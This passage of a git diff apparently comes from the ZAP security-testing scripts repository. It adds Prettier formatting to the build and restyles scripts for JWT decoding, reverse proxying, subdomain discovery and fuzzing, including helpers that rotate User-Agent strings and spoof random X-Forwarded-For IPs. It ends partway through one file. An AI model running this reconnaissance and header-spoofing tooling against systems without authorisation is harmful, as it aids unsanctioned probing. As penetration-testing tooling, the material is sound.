diff --git a/build.gradle.kts b/build.gradle.kts index 7e47b7f5..72abd35f 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -1,3 +1,4 @@ +import org.gradle.api.internal.provider.TransformBackedProvider import org.zaproxy.gradle.addon.AddOnPlugin import org.zaproxy.gradle.addon.AddOnStatus import org.zaproxy.gradle.addon.internal.model.ProjectInfo @@ -10,6 +11,7 @@ plugins { id("org.zaproxy.add-on") version "0.10.0" id("org.zaproxy.crowdin") version "0.3.1" id("com.diffplug.spotless") + id("com.github.node-gradle.node") version "7.0.2" id("org.zaproxy.common") } @@ -68,26 +70,27 @@ tasks.withType().configureEach { useJUnitPlatform() } -var scriptTypes = listOf( - "active", - "authentication", - "encode-decode", - "extender", - "httpfuzzerprocessor", - "httpsender", - "passive", - "payloadgenerator", - "payloadprocessor", - "proxy", - "selenium", - "sequence", - "session", - "standalone", - "targeted", - "variant", - "websocketfuzzerprocessor", - "websocketpassive", -) +var scriptTypes = + listOf( + "active", + "authentication", + "encode-decode", + "extender", + "httpfuzzerprocessor", + "httpsender", + "passive", + "payloadgenerator", + "payloadprocessor", + "proxy", + "selenium", + "sequence", + "session", + "standalone", + "targeted", + "variant", + "websocketfuzzerprocessor", + "websocketpassive", + ) val syncScriptsDirTask by tasks.creating(Sync::class) { into(scriptsDir.get().dir(project.name)) @@ -111,10 +114,27 @@ java { sourceSets["main"].output.dir(mapOf("builtBy" to syncScriptsDirTask), scriptsDir) +node { + version = "20.12.1" + download = true +} + spotless { kotlinGradle { ktlint() } + javascript { + target("**/*.js") + targetExclude("extender/HTTP Message Logger.js", "standalone/domainFinder.js") + // get the npm executable path from gradle-node-plugin + val npmDir = (tasks.named("npmSetup").get().property("npmDir") as TransformBackedProvider<*, *>).get().toString() + val npmExecutable = if (System.getProperty("os.name").lowercase().contains("windows")) "/npm.cmd" else "/bin/npm" + prettier().npmExecutable(npmDir.plus(npmExecutable)) + } +} + +tasks.named("spotlessJavascript").configure { + dependsOn("nodeSetup", "npmSetup") } val projectInfo = ProjectInfo.from(project) @@ -122,6 +142,10 @@ val generateReleaseStateLastCommit by tasks.registering(GenerateReleaseStateLast projects.set(listOf(projectInfo)) } +repositories { + mavenCentral() +} + val releaseAddOn by tasks.registering { if (ReleaseState.read(projectInfo).isNewRelease()) { dependsOn("createRelease") diff --git a/encode-decode/JwtDecode.js b/encode-decode/JwtDecode.js index 7598d70b..63c49303 100644 --- a/encode-decode/JwtDecode.js +++ b/encode-decode/JwtDecode.js @@ -1,6 +1,6 @@ // JWT Decode by 0mgfriday -var Base64 = Java.type("java.util.Base64") -var String = Java.type("java.lang.String") +var Base64 = Java.type("java.util.Base64"); +var String = Java.type("java.lang.String"); var StandardCharsets = Java.type("java.nio.charset.StandardCharsets"); /** @@ -11,31 +11,34 @@ var StandardCharsets = Java.type("java.nio.charset.StandardCharsets"); * @param {String} value - JWT to decode * @returns {EncodeDecodeResult} - Decoded JWT (JSON) */ -function process(helper, value){ - var parts = value.split('.') - - if (parts.length == 2 || parts.length == 3) { - try { - var result = formatJson(b64decode(parts[0])) + '\n' + formatJson(b64decode(parts[1])) - - if (parts.length == 3 && parts[2] != '') { - result += '\n{SIGNATURE}' - } +function process(helper, value) { + var parts = value.split("."); - return helper.newResult(result); - } catch (err) { - return helper.newError("Invalid JWT: Unable to decode"); - } + if (parts.length == 2 || parts.length == 3) { + try { + var result = + formatJson(b64decode(parts[0])) + + "\n" + + formatJson(b64decode(parts[1])); + + if (parts.length == 3 && parts[2] != "") { + result += "\n{SIGNATURE}"; + } + + return helper.newResult(result); + } catch (err) { + return helper.newError("Invalid JWT: Unable to decode"); } + } - return helper.newError("Invalid JWT"); + return helper.newError("Invalid JWT"); } function b64decode(s) { - var bytes = Base64.getUrlDecoder().decode(s) - return new String(bytes, StandardCharsets.UTF_8) + var bytes = Base64.getUrlDecoder().decode(s); + return new String(bytes, StandardCharsets.UTF_8); } function formatJson(json) { - return JSON.stringify(JSON.parse(json),null,2) + return JSON.stringify(JSON.parse(json), null, 2); } diff --git a/encode-decode/double-spacer.js b/encode-decode/double-spacer.js index d78f0688..b27d1005 100644 --- a/encode-decode/double-spacer.js +++ b/encode-decode/double-spacer.js @@ -1,4 +1,4 @@ -function process(helper, value){ - // Replace any character (except last) with the character and a space - return helper.newResult(value.replaceAll(".(?=.)", "$0 ").trim()); +function process(helper, value) { + // Replace any character (except last) with the character and a space + return helper.newResult(value.replaceAll(".(?=.)", "$0 ").trim()); } diff --git a/extender/Simple Reverse Proxy.js b/extender/Simple Reverse Proxy.js index b6d1e7fe..1450250e 100644 --- a/extender/Simple Reverse Proxy.js +++ b/extender/Simple Reverse Proxy.js @@ -1,38 +1,45 @@ // An extender script that adds a simple reverse proxy. // To where the requests are sent. -var remoteAddress = "example.com" -var remotePort = 80 +var remoteAddress = "example.com"; +var remotePort = 80; // The address/port of the proxy. -var proxyAddress = "127.0.0.1" -var proxyPort = 8081 +var proxyAddress = "127.0.0.1"; +var proxyPort = 8081; -var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender") -var URI = Java.type("org.apache.commons.httpclient.URI") +var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender"); +var URI = Java.type("org.apache.commons.httpclient.URI"); -var extensionNetwork = control.getExtensionLoader().getExtension("ExtensionNetwork") -var proxy +var extensionNetwork = control + .getExtensionLoader() + .getExtension("ExtensionNetwork"); +var proxy; function messageHandler(ctx, msg) { - if (!ctx.isFromClient()) { - return - } - - var requestUri = msg.getRequestHeader().getURI() - requestUri = new URI(requestUri.getScheme(), - requestUri.getUserinfo(), - remoteAddress, - remotePort, - requestUri.getPath()) - msg.getRequestHeader().setURI(requestUri) + if (!ctx.isFromClient()) { + return; + } + + var requestUri = msg.getRequestHeader().getURI(); + requestUri = new URI( + requestUri.getScheme(), + requestUri.getUserinfo(), + remoteAddress, + remotePort, + requestUri.getPath() + ); + msg.getRequestHeader().setURI(requestUri); } function install(helper) { - proxy = extensionNetwork.createHttpProxy(HttpSender.PROXY_INITIATOR, messageHandler) - proxy.start(proxyAddress, proxyPort) + proxy = extensionNetwork.createHttpProxy( + HttpSender.PROXY_INITIATOR, + messageHandler + ); + proxy.start(proxyAddress, proxyPort); } function uninstall(helper) { - proxy.stop() + proxy.stop(); } diff --git a/extender/ZAP onEvent Handler.js b/extender/ZAP onEvent Handler.js index 223e0e08..359e57fd 100644 --- a/extender/ZAP onEvent Handler.js +++ b/extender/ZAP onEvent Handler.js @@ -4,25 +4,37 @@ var consumer; function install(helper) { - var ConsumerClass = Java.extend(Java.type("org.zaproxy.zap.eventBus.EventConsumer")); + var ConsumerClass = Java.extend( + Java.type("org.zaproxy.zap.eventBus.EventConsumer") + ); consumer = new ConsumerClass({ - eventReceived: function(event) { + eventReceived: function (event) { // Print in one statement to prevent threads interleaving - var target = '---'; + var target = "---"; if (event.getTarget()) { target = event.getTarget().getDisplayName(); } print( - 'Event received: \n' + - ' Publisher: ' + event.getPublisher().getPublisherName() + '\n' + - ' Type: ' + event.getEventType() + '\n' + - ' Target: ' + target + '\n' + - ' Params: ' + event.getParameters()); - } + "Event received: \n" + + " Publisher: " + + event.getPublisher().getPublisherName() + + "\n" + + " Type: " + + event.getEventType() + + "\n" + + " Target: " + + target + + "\n" + + " Params: " + + event.getParameters() + ); + }, }); - org.zaproxy.zap.ZAP.getEventBus().registerConsumer(consumer, - "org.parosproxy.paros.extension.history.ProxyListenerLogEventPublisher"); + org.zaproxy.zap.ZAP.getEventBus().registerConsumer( + consumer, + "org.parosproxy.paros.extension.history.ProxyListenerLogEventPublisher" + ); } function uninstall(helper) { diff --git a/extender/arpSyndicateSubdomainDiscovery.js b/extender/arpSyndicateSubdomainDiscovery.js index f24d4e95..e30ccfa6 100644 --- a/extender/arpSyndicateSubdomainDiscovery.js +++ b/extender/arpSyndicateSubdomainDiscovery.js @@ -4,48 +4,66 @@ * new domain added to the Sites Tree. */ -const HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference") -const HttpSender = Java.type("org.parosproxy.paros.network.HttpSender") -const HttpMessage = Java.type("org.parosproxy.paros.network.HttpMessage") -const URI = Java.type("org.apache.commons.httpclient.URI") -const requestedSubdomains = [] -const sender = new HttpSender(HttpSender.MANUAL_REQUEST_INITIATOR) +const HistoryReference = Java.type( + "org.parosproxy.paros.model.HistoryReference" +); +const HttpSender = Java.type("org.parosproxy.paros.network.HttpSender"); +const HttpMessage = Java.type("org.parosproxy.paros.network.HttpMessage"); +const URI = Java.type("org.apache.commons.httpclient.URI"); +const requestedSubdomains = []; +const sender = new HttpSender(HttpSender.MANUAL_REQUEST_INITIATOR); function consumer(event) { - if (event.getEventType() != "site.added") return - try { - const siteNode = event.getTarget().getStartNode() - const host = siteNode.getHistoryReference().getURI().getHost() - if (requestedSubdomains.indexOf(host) != -1) { - // Don't run for subdomain nodes created by this script - return - } - const apiUri = new URI(`https://api.subdomain.center/?domain=${host}`, true) - const apiMsg = new HttpMessage(apiUri) - sender.sendAndReceive(apiMsg) - const subdomains = JSON.parse(apiMsg.getResponseBody().toString()) - subdomains.forEach(function (subdomain) { - const uri = new URI(`https://${subdomain}`, true) - const msg = new HttpMessage(uri) - const extHistory = control.getExtensionLoader().getExtension("ExtensionHistory") - try { - sender.sendAndReceive(msg) - const href = new HistoryReference(model.getSession(), HistoryReference.TYPE_ZAP_USER, msg) - extHistory.addHistory(href) - requestedSubdomains.push(subdomain) - } catch (err) { - print(`Failed to send a request to "https://${subdomain}": ${err.getMessage()}.`) - } - }) - } catch (err) { - print(`There was an error while trying to get subdomains using Subdomain Center: ${err}`) + if (event.getEventType() != "site.added") return; + try { + const siteNode = event.getTarget().getStartNode(); + const host = siteNode.getHistoryReference().getURI().getHost(); + if (requestedSubdomains.indexOf(host) != -1) { + // Don't run for subdomain nodes created by this script + return; } + const apiUri = new URI( + `https://api.subdomain.center/?domain=${host}`, + true + ); + const apiMsg = new HttpMessage(apiUri); + sender.sendAndReceive(apiMsg); + const subdomains = JSON.parse(apiMsg.getResponseBody().toString()); + subdomains.forEach(function (subdomain) { + const uri = new URI(`https://${subdomain}`, true); + const msg = new HttpMessage(uri); + const extHistory = control + .getExtensionLoader() + .getExtension("ExtensionHistory"); + try { + sender.sendAndReceive(msg); + const href = new HistoryReference( + model.getSession(), + HistoryReference.TYPE_ZAP_USER, + msg + ); + extHistory.addHistory(href); + requestedSubdomains.push(subdomain); + } catch (err) { + print( + `Failed to send a request to "https://${subdomain}": ${err.getMessage()}.` + ); + } + }); + } catch (err) { + print( + `There was an error while trying to get subdomains using Subdomain Center: ${err}` + ); + } } function install(helper) { - org.zaproxy.zap.ZAP.getEventBus().registerConsumer(consumer, "org.parosproxy.paros.model.SiteMapEventPublisher") + org.zaproxy.zap.ZAP.getEventBus().registerConsumer( + consumer, + "org.parosproxy.paros.model.SiteMapEventPublisher" + ); } function uninstall(helper) { - org.zaproxy.zap.ZAP.getEventBus().unregisterConsumer(consumer) + org.zaproxy.zap.ZAP.getEventBus().unregisterConsumer(consumer); } diff --git a/httpfuzzerprocessor/FuzzerStopOnStatusCode.js b/httpfuzzerprocessor/FuzzerStopOnStatusCode.js index 64b743a1..77ace7c8 100644 --- a/httpfuzzerprocessor/FuzzerStopOnStatusCode.js +++ b/httpfuzzerprocessor/FuzzerStopOnStatusCode.js @@ -1,14 +1,16 @@ -var STATUS_CODE_PARAM = "Status Code" +var STATUS_CODE_PARAM = "Status Code"; -function processMessage(utils, message) { -} +function processMessage(utils, message) {} -function processResult(utils, fuzzResult){ - if (fuzzResult.getHttpMessage().getResponseHeader().getStatusCode() == utils.getParameters().get(STATUS_CODE_PARAM)) - utils.stopFuzzer(); - return true; +function processResult(utils, fuzzResult) { + if ( + fuzzResult.getHttpMessage().getResponseHeader().getStatusCode() == + utils.getParameters().get(STATUS_CODE_PARAM) + ) + utils.stopFuzzer(); + return true; } -function getRequiredParamsNames(){ - return [STATUS_CODE_PARAM] +function getRequiredParamsNames() { + return [STATUS_CODE_PARAM]; } diff --git a/httpfuzzerprocessor/addCacheBusting.js b/httpfuzzerprocessor/addCacheBusting.js index 6dd474f0..a720daa5 100644 --- a/httpfuzzerprocessor/addCacheBusting.js +++ b/httpfuzzerprocessor/addCacheBusting.js @@ -1,26 +1,30 @@ function processMessage(utils, message) { - var cbValue = "" + Math.floor(Math.random() * 10000) - setCacheBusting(message,cbValue); - message.getRequestHeader().setHeader("X-Cache-Busting", cbValue); + var cbValue = "" + Math.floor(Math.random() * 10000); + setCacheBusting(message, cbValue); + message.getRequestHeader().setHeader("X-Cache-Busting", cbValue); } -function setCacheBusting(message,cbValue) { - var HtmlParameter = Java.type('org.parosproxy.paros.network.HtmlParameter') - var URL_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.url; - var params = message.getUrlParams() - var newParam = new HtmlParameter(URL_TYPE, "x_cache_busting_"+cbValue, cbValue); - params.add(newParam) - message.getRequestHeader().setGetParams(params) +function setCacheBusting(message, cbValue) { + var HtmlParameter = Java.type("org.parosproxy.paros.network.HtmlParameter"); + var URL_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.url; + var params = message.getUrlParams(); + var newParam = new HtmlParameter( + URL_TYPE, + "x_cache_busting_" + cbValue, + cbValue + ); + params.add(newParam); + message.getRequestHeader().setGetParams(params); } -function processResult(utils, fuzzResult){ - return true; +function processResult(utils, fuzzResult) { + return true; } -function getRequiredParamsNames(){ - return []; +function getRequiredParamsNames() { + return []; } -function getOptionalParamsNames(){ - return []; +function getOptionalParamsNames() { + return []; } diff --git a/httpfuzzerprocessor/add_msgs_sites_tree.js b/httpfuzzerprocessor/add_msgs_sites_tree.js index 82b08608..a21afe94 100644 --- a/httpfuzzerprocessor/add_msgs_sites_tree.js +++ b/httpfuzzerprocessor/add_msgs_sites_tree.js @@ -6,15 +6,17 @@ var session = model.getSession(); function processMessage(utils, message) {} -function processResult(utils, fuzzResult){ - var msg = fuzzResult.getHttpMessage(); - // The type 15 indicates that the message was sent by the user. - // Refer to the HistoryReference for more details on the available types. - // Persist the message to the session. - var ref = new org.parosproxy.paros.model.HistoryReference(session, 15, msg); - // Add the message to Sites tree. - java.awt.EventQueue.invokeLater(function() session.getSiteTree().addPath(ref, msg)); +function processResult(utils, fuzzResult) { + var msg = fuzzResult.getHttpMessage(); + // The type 15 indicates that the message was sent by the user. + // Refer to the HistoryReference for more details on the available types. + // Persist the message to the session. + var ref = new org.parosproxy.paros.model.HistoryReference(session, 15, msg); + // Add the message to Sites tree. + java.awt.EventQueue.invokeLater(function () { + session.getSiteTree().addPath(ref, msg); + }); - // Do not show the result/messages in the Fuzzer tab. - return false; + // Do not show the result/messages in the Fuzzer tab. + return false; } diff --git a/httpfuzzerprocessor/randomUserAgent.js b/httpfuzzerprocessor/randomUserAgent.js index 1e40a022..7825a035 100644 --- a/httpfuzzerprocessor/randomUserAgent.js +++ b/httpfuzzerprocessor/randomUserAgent.js @@ -1,18 +1,30 @@ -var userAgents = ["Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 7.0; SM-G930VC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1", "Mozilla/5.0 (Linux; Android 7.0; Pixel C Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246", "Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1"]; +var userAgents = [ + "Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 7.0; SM-G930VC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36", + "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1", + "Mozilla/5.0 (Linux; Android 7.0; Pixel C Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246", + "Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9", + "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1", +]; function processMessage(utils, message) { - var randomUserAgent = Math.floor(Math.random() * (userAgents.length)); - message.getRequestHeader().setHeader("User-Agent", userAgents[randomUserAgent]); + var randomUserAgent = Math.floor(Math.random() * userAgents.length); + message + .getRequestHeader() + .setHeader("User-Agent", userAgents[randomUserAgent]); } -function processResult(utils, fuzzResult){ - return true; +function processResult(utils, fuzzResult) { + return true; } -function getRequiredParamsNames(){ - return []; +function getRequiredParamsNames() { + return []; } -function getOptionalParamsNames(){ - return []; +function getOptionalParamsNames() { + return []; } diff --git a/httpfuzzerprocessor/random_x_forwarded_for_ip.js b/httpfuzzerprocessor/random_x_forwarded_for_ip.js index c26c770a..17411b42 100644 --- a/httpfuzzerprocessor/random_x_forwarded_for_ip.js +++ b/httpfuzzerprocessor/random_x_forwarded_for_ip.js @@ -1,16 +1,23 @@ function processMessage(utils, message) { - var random_ip = Math.floor(Math.random() * 254)+ "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254); - message.getRequestHeader().setHeader("X-Forwarded-For", random_ip); + var random_ip = + Math.floor(Math.random() * 254) + + "." + + Math.floor(Math.random() * 254) + + "." + + Math.floor(Math.random() * 254) + + "." + + Math.floor(Math.random() * 254); + message.getRequestHeader().setHeader("X-Forwarded-For", random_ip); } -function processResult(utils, fuzzResult){ - return true; +function processResult(utils, fuzzResult) { + return true; } -function getRequiredParamsNames(){ - return []; +function getRequiredParamsNames() { + return []; } -function getOptionalParamsNames(){ - return []; +function getOptionalParamsNames() { + return []; } diff --git a/httpfuzzerprocessor/showDifferences.js b/httpfuzzerprocessor/showDifferences.js index 1079a125..35c94135 100644 --- a/httpfuzzerprocessor/showDifferences.js +++ b/httpfuzzerprocessor/showDifferences.js @@ -1,9 +1,9 @@ -//A Fuzzer HTTP Processor script that compares the original Response with the fuzzed Response +//A Fuzzer HTTP Processor script that compares the original Response with the fuzzed Response //and add the result to the state column! //To remove all other states from the state column set the variable `removeOtherStatesFromStateColumn` to `true`. //This might be useful if you want to order the column. //Script needs Diff add-on - + var DiffTool = Java.type("org.zaproxy.zap.extension.diff.diff_match_patch"); var key = "script.showDifferences.js"; var showResultInTable = true; @@ -11,75 +11,76 @@ var removeOtherStatesFromStateColumn = false; var original = null; function processMessage(utils, message) { - return message; + return message; } // Called after receiving the fuzzed message from the server -function processResult(utils, fuzzResult){ - if(!original){ - original = responseAsString(utils.getOriginalMessage()); - } - - var fuzzed = responseAsString(fuzzResult.getHttpMessage()); - var diffList = createDiff(original, fuzzed); - var aggregatedDiff = aggregateDiff(diffList); - displayToStateColumn(fuzzResult, aggregatedDiff); - return showResultInTable; -} +function processResult(utils, fuzzResult) { + if (!original) { + original = responseAsString(utils.getOriginalMessage()); + } -function responseAsString(httpMessage){ - var responseHeader = httpMessage.getResponseHeader().toString(); - var responseBody = httpMessage.getResponseBody().toString(); - return responseHeader + "\r\n" + responseBody; + var fuzzed = responseAsString(fuzzResult.getHttpMessage()); + var diffList = createDiff(original, fuzzed); + var aggregatedDiff = aggregateDiff(diffList); + displayToStateColumn(fuzzResult, aggregatedDiff); + return showResultInTable; } -function createDiff(original, fuzzed){ - var diffTool = new DiffTool(); - return diffTool.diff_main(original, fuzzed); +function responseAsString(httpMessage) { + var responseHeader = httpMessage.getResponseHeader().toString(); + var responseBody = httpMessage.getResponseBody().toString(); + return responseHeader + "\r\n" + responseBody; } -function displayToStateColumn(fuzzResult, aggregatedDiff){ - if(removeOtherStatesFromStateColumn){ - removeAllStates(fuzzResult); - } - fuzzResult.addCustomState(key, "Sum: "+padLeft(aggregatedDiff.Sum) + "; Delta:" + aggregatedDiff.Delta); +function createDiff(original, fuzzed) { + var diffTool = new DiffTool(); + return diffTool.diff_main(original, fuzzed); } -function removeAllStates(fuzzResult){ - for each (var key in fuzzResult.getCustomStates().keySet() ) { - fuzzResult.removeCustomState(key); - } +function displayToStateColumn(fuzzResult, aggregatedDiff) { + if (removeOtherStatesFromStateColumn) { + removeAllStates(fuzzResult); + } + fuzzResult.addCustomState( + key, + "Sum: " + padLeft(aggregatedDiff.Sum) + "; Delta:" + aggregatedDiff.Delta + ); } -function padLeft(value){ - var str = value + ""; - var pad = "00000000"; - return pad.substring(0, pad.length - str.length) + str; +function removeAllStates(fuzzResult) { + for (var key in fuzzResult.getCustomStates().keySet()) { + fuzzResult.removeCustomState(key); + } } -function aggregateDiff(diffList){ +function padLeft(value) { + var str = value + ""; + var pad = "00000000"; + return pad.substring(0, pad.length - str.length) + str; +} - var sum = 0; - var delta = ""; - for each (var diff in diffList) { - if(diff.operation == "INSERT"){ - sum += diff.text.length(); - delta += "++|" + prepareDiffText(diff.text) + "|"; - } - else if(diff.operation == "DELETE"){ - sum += diff.text.length(); - delta += "--|" + prepareDiffText(diff.text) + "|"; - } - } +function aggregateDiff(diffList) { + var sum = 0; + var delta = ""; + for (var diff in diffList) { + if (diff.operation == "INSERT") { + sum += diff.text.length(); + delta += "++|" + prepareDiffText(diff.text) + "|"; + } else if (diff.operation == "DELETE") { + sum += diff.text.length(); + delta += "--|" + prepareDiffText(diff.text) + "|"; + } + } - return { - Sum : sum, - Delta : delta - } + return { + Sum: sum, + Delta: delta, + }; } -function prepareDiffText(text){ - text = text.replace("\r", "\\r"); - text = text.replace("\n", "\\n"); - return text +function prepareDiffText(text) { + text = text.replace("\r", "\\r"); + text = text.replace("\n", "\\n"); + return text; } diff --git a/httpfuzzerprocessor/unexpected_responses.js b/httpfuzzerprocessor/unexpected_responses.js index 7c41faaf..042e36e8 100644 --- a/httpfuzzerprocessor/unexpected_responses.js +++ b/httpfuzzerprocessor/unexpected_responses.js @@ -20,11 +20,11 @@ var DiffTool = Java.type("org.zaproxy.zap.extension.diff.diff_match_patch"); * Declare parameters */ function getRequiredParamsNames() { - return ["pattern", "sense"]; + return ["pattern", "sense"]; } function getOptionalParamsNames() { - return []; + return []; } /* @@ -36,7 +36,7 @@ function getOptionalParamsNames() { * @param {HttpMessage} message - The fuzzed message, that will be forward to the server. */ function processMessage(utils, message) { - // Take no action + // Take no action } /* @@ -49,89 +49,91 @@ function processMessage(utils, message) { * @return {boolean} Whether the result should be accepted, or discarded and not shown. */ function processResult(utils, fuzzResult) { - // All the above 'utils' functions are available plus: - // To raise an alert: - // utils.raiseAlert(risk, confidence, name, description) - // To obtain the fuzzed message, received from the server: - // fuzzResult.getHttpMessage() - - // Retrieve (string) parameters and convert to required types - var params = utils.getParameters(); - var pattern = new RegExp(params.pattern); // response regex - var sense = params.sense == "pass"; // true if regex is expected response - - // Retrieve response code and test it against supplied pattern - var fuzzed = fuzzResult.getHttpMessage(); - var actual = fuzzed.getResponseHeader().getStatusCode().toString(); - var found = actual.search(pattern) != -1; - var expected = found == sense; - var why = ""; - - // If unexpected, raise an alert - if (!expected) { - // Convert (inverse) of sense to English - if (sense) { // expected a match but did not get it - why = " did not match "; - } else { // expected no match but got one anyway - why = " matched "; - } - - // "The original message" - var original = utils.getOriginalMessage(); - - // Compare the content of the original and fuzzed requests; this will - // indicate what changed to cause the problem. This is very nice if you - // are sending it somewhere that will render HTML, but looks like noise - // anywhere else. - //var diffHtml = createDiffHtml( - // requestAsString(original), - // requestAsString(fuzzed) - //); - - // Generate a text difference of the two files - var diffText = createDiffText( - requestAsString(original), - requestAsString(fuzzed) - ); - - utils.raiseAlert( - 3, // High Risk - 2, // Medium Confidence - "Unexpected Fuzzer Response", // name - "The application is failing to handle unexpected input correctly.", // description (long) - null, // what parameter was fuzzed? we have no idea... - diffText, // attack - null, // otherInfo (long) - null, // solution (long) - null, // reference (long) - "The received response " + actual + why + params.pattern + ".", // evidence - 684, // CWE-684: Incorrect Provision of Specified Functionality - 20 // WASC-20: Improper Input Handling - ); - - // We don't need any more examples; stop this fuzzer - utils.stopFuzzer(); + // All the above 'utils' functions are available plus: + // To raise an alert: + // utils.raiseAlert(risk, confidence, name, description) + // To obtain the fuzzed message, received from the server: + // fuzzResult.getHttpMessage() + + // Retrieve (string) parameters and convert to required types + var params = utils.getParameters(); + var pattern = new RegExp(params.pattern); // response regex + var sense = params.sense == "pass"; // true if regex is expected response + + // Retrieve response code and test it against supplied pattern + var fuzzed = fuzzResult.getHttpMessage(); + var actual = fuzzed.getResponseHeader().getStatusCode().toString(); + var found = actual.search(pattern) != -1; + var expected = found == sense; + var why = ""; + + // If unexpected, raise an alert + if (!expected) { + // Convert (inverse) of sense to English + if (sense) { + // expected a match but did not get it + why = " did not match "; + } else { + // expected no match but got one anyway + why = " matched "; } - // Always accept the result - return true; + // "The original message" + var original = utils.getOriginalMessage(); + + // Compare the content of the original and fuzzed requests; this will + // indicate what changed to cause the problem. This is very nice if you + // are sending it somewhere that will render HTML, but looks like noise + // anywhere else. + //var diffHtml = createDiffHtml( + // requestAsString(original), + // requestAsString(fuzzed) + //); + + // Generate a text difference of the two files + var diffText = createDiffText( + requestAsString(original), + requestAsString(fuzzed) + ); + + utils.raiseAlert( + 3, // High Risk + 2, // Medium Confidence + "Unexpected Fuzzer Response", // name + "The application is failing to handle unexpected input correctly.", // description (long) + null, // what parameter was fuzzed? we have no idea... + diffText, // attack + null, // otherInfo (long) + null, // solution (long) + null, // reference (long) + "The received response " + actual + why + params.pattern + ".", // evidence + 684, // CWE-684: Incorrect Provision of Specified Functionality + 20 // WASC-20: Improper Input Handling + ); + + // We don't need any more examples; stop this fuzzer + utils.stopFuzzer(); + } + + // Always accept the result + return true; } function requestAsString(httpMessage) { - var requestHeader = httpMessage.getRequestHeader().toString(); - var requestBody = httpMessage.getRequestBody().toString(); - return requestHeader + "\r\n" + requestBody; + var requestHeader = httpMessage.getRequestHeader().toString(); + var requestBody = httpMessage.getRequestBody().toString(); + return requestHeader + "\r\n" + requestBody; } function createDiffHtml(original, fuzzed) { - var diffTool = new DiffTool(); - var diffList = diffTool.diff_main(original, fuzzed); - return diffTool.diff_prettyHtml(diffList); + var diffTool = new DiffTool(); + var diffList = diffTool.diff_main(original, fuzzed); + return diffTool.diff_prettyHtml(diffList); } function createDiffText(original, fuzzed) { - var diffTool = new DiffTool(); - diffTool.Patch_Margin = 16; // bytes of context for patches - var patchList = diffTool.patch_make(original, fuzzed); - return diffTool.patch_toText(patchList); + var diffTool = new DiffTool(); + diffTool.Patch_Margin = 16; // bytes of context for patches + var patchList = diffTool.patch_make(original, fuzzed); + return diffTool.patch_toText(patchList); } diff --git a/httpsender/AddBearerTokenHeader.js b/httpsender/AddBearerTokenHeader.js index 35a7989e..a99bcdc1 100644 --- a/httpsender/AddBearerTokenHeader.js +++ b/httpsender/AddBearerTokenHeader.js @@ -1,24 +1,28 @@ /* -* This script is intended to be used along with authentication/OfflineTokenRefresher.js to -* handle an OAUTH2 offline token refresh workflow. -* -* authentication/OfflineTokenRefresher.js will automatically fetch the new access token for every unauthorized -* request determined by the "Logged Out" or "Logged In" indicator previously set in Context -> Authentication. -* -* httpsender/AddBearerTokenHeader.js will add the new access token to all requests in scope -* made by ZAP (except the authentication ones) as an "Authorization: Bearer [access_token]" HTTP Header. -* -* @author Laura Pardo -*/ + * This script is intended to be used along with authentication/OfflineTokenRefresher.js to + * handle an OAUTH2 offline token refresh workflow. + * + * authentication/OfflineTokenRefresher.js will automatically fetch the new access token for every unauthorized + * request determined by the "Logged Out" or "Logged In" indicator previously set in Context -> Authentication. + * + * httpsender/AddBearerTokenHeader.js will add the new access token to all requests in scope + * made by ZAP (except the authentication ones) as an "Authorization: Bearer [access_token]" HTTP Header. + * + * @author Laura Pardo + */ -var HttpSender = Java.type('org.parosproxy.paros.network.HttpSender'); -var ScriptVars = 